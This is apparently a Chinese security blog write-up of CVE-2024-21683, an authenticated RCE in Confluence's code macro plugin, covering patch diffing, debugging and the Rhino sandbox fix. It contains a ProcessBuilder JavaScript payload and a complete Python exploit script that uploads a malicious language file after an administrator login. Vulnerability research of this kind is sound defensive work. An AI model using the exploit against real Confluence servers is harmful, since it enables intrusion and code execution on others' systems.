Confluence Data Center and Server认证后RCE(CVE-2024-21683)漏洞分析

文摘   2024-05-23 22:15   北京  

一、漏洞调试环境搭建

8.9.08.9.1为例:

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.0.tar.gz

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.1.tar.gz

然后使用ideadiff查看不同:

"D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0" "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.1"

但是由于jar包的名字里面有版本号,而由于版本号的不同,会导致查看不同的时候不会展示不同版本的jar包之间的差异,因此我们需要对版本号进行处理,可以是把它删掉,也可以是替换成x.x.x。我们先把D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-pluginsD:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\libD:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins-setup下的所有jar包复制到了D:\vuln_image\confluence\diff\lib890,然后8.9.1版本也同样这么做,接着根据后者思路写出python脚本如下:

import os
import re

folder_path = r'D:\vuln_image\confluence\diff\lib890'
version_regex = r'\d+\.\d+\.\d+'
files = os.listdir(folder_path)
for file_name in files:
    version_match = re.search(version_regex, file_name)
    if version_match:
        new_file_name = re.sub(version_regex, 'x.x.x', file_name)
        old_file_path = os.path.join(folder_path, file_name)
        new_file_path = os.path.join(folder_path, new_file_name)
        os.rename(old_file_path, new_file_path)
        print(f'Renamed {file_name} to {new_file_name}')

然后改个文件夹再跑一遍8.9.1版本的:

当然,部分jar包的版本号是4位的,不过比较少,我就懒得改脚本了,万一真遇到了就最后单独分析看看。

diff就可以了:

"D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\lib890" "D:\vuln_image\confluence\diff\lib891"

然后idea打开D:\vuln_image\confluence\atlassian-confluence-8.9.0,修改bin目录下的setenv.bat,添加这么一行:

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8866 %CATALINA_OPTS%

并配置远程调试,然后去bin目录下启动start-confluence.bat即可开始安装,需要自己配置postgresql:

然后把上面提到的三个库文件夹右键Add as Libriary

二、漏洞代码分析

从上往下翻,发现D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins\com.atlassian.confluence.ext.newcode-macro-plugin-18.9.8.jar进行了一处安全修复,因为名字实在是太显眼了,从initStandardObjects变成了initSafeStandardObjects,多加了个safe,极有可能就是本漏洞的问题所在:

定位到源代码com.atlassian.confluence.ext.code.languages.impl.RhinoLanguageParser

漏洞对应功能位于http://192.168.198.1:8090/admin/plugins/newcode/configure.action#这里的添加新语言这个表单:

下断点,然后传文件进行调试看看:

F8evaluateString函数这里之后F7步入进去看看具体的逻辑:

这里我们右键value,以字符串形式来显示,然后view text

可以看到,我们的text.js中的text被放置在如下位置:

我们仔细看看这段代码:

public final Object evaluateString(Scriptable scope, String source, String sourceName, int lineno, Object securityDomain) {
    Script script = this.compileString(source, sourceName, lineno, securityDomain);
    return script != null ? script.exec(this, scope) : null;
}

可以参考以下两篇文章:

https://blog.51cto.com/u_16213644/7333014

https://dev.ariel-networks.com/Members/iwanaga/rhino-code-reading03/

也就是说,会编译传入的脚本源代码,如果编译成功的话就执行该脚本并返回执行结果,如果编译失败,就返回 null

而这个evaluateReader函数的第二个参数包含我们传入的脚本,并且它的代码没有任何安全过滤的操作,因此我们可以自定义一些恶意的代码,例如:

new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

具体还可以参考下面的文章学习:

https://blog.h3xstream.com/2014/11/remote-code-execution-by-design.html

https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html

https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection/el-expression-language

那官方是怎么修复的呢?使用initSafeStandardObjects定义rhino的上下文,防止JavaScript引擎调用Java代码:

这部分知识其实也可以参考:

https://help.aliyun.com/zh/security-center/user-guide/learn-about-application-protection

三、自动化脚本编写

https://github.com/W01fh4cker/CVE-2024-21683-RCE

import argparse
import os

import requests
from bs4 import BeautifulSoup

def GeyAltToken(url, proxy, session):
    headers = {
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    alttoken_url = f"{url}/admin/plugins/newcode/configure.action"
    resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20)
    if "atlassian-token" in resp.text:
        soup = BeautifulSoup(resp.text, 'html.parser')
        meta_tag = soup.find('meta', {'id''atlassian-token''name''atlassian-token'})
        if meta_tag:
            content_value = meta_tag.get('content')
            return content_value

        else:
            print("Meta tag not found")

def LoginAsAdministrator(session, url, proxy, username, password):
    login_url = url + "/dologin.action"
    headers = {
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Content-Type""application/x-www-form-urlencoded"
    }
    data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F"
    session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)

def DoAuthenticate(session, url, proxy, password, alt_token):
    login_url = url + "/doauthenticate.action"
    headers = {
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Content-Type""application/x-www-form-urlencoded"
    }
    data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action"
    session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token):
    url = f"{url}/admin/plugins/newcode/addlanguage.action"
    data = {
        "atl_token": alt_token,
        "newLanguageName""test"
    }
    files = {
        "languageFile": (
        jsFilename, jsFileContent, "text/javascript")
    }
    headers = {
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20)

def ParseArgs():
    parser = argparse.ArgumentParser(description="CVE-2023-20198-RCE")
    parser.add_argument("-u""--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True)
    parser.add_argument("-p""--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
    parser.add_argument("-au""--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True)
    parser.add_argument("-ap""--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True)
    parser.add_argument("-f""--file", type=str, help="exploit file", default="exploit.js", required=True)
    parser.add_argument("-n""--name", type=str, help="newLanguageName", default="test", required=True)
    return parser.parse_args()

if __name__ == '__main__':
    args = ParseArgs()
    if not args.proxy:
        proxy = {}
    else:
        proxy = {
            "http": args.proxy,
            "https": args.proxy
        }
    session = requests.session()
    jsfn = os.path.basename(args.file)
    jsfc = open(args.file, "r", encoding="utf-8").read()
    LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password)
    alt_token = GeyAltToken(args.url.strip("/"), proxy, session)
    DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_username, alt_token)
    UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token)

效果:

四、后记

这个漏洞官方说需要验证,但是这个功能点是管理员组用户才具有的,因此普通用户账户应当是无法利用的,并且我也没找到其他地方存在配置代码宏这个功能对应的函数,不排除我落了某些地方;可能会有人有疑问,我都有管理员组账户的账号密码了,我还这么费劲地RCE干嘛,不能直接传插件RCE吗?但是至少我测试的8.9.0版本已经去除了这个功能,其他版本我具体也没去查:


嗨嗨安全
提供网络安全资料与工具,分享攻防实战经验和思路。
 最新文章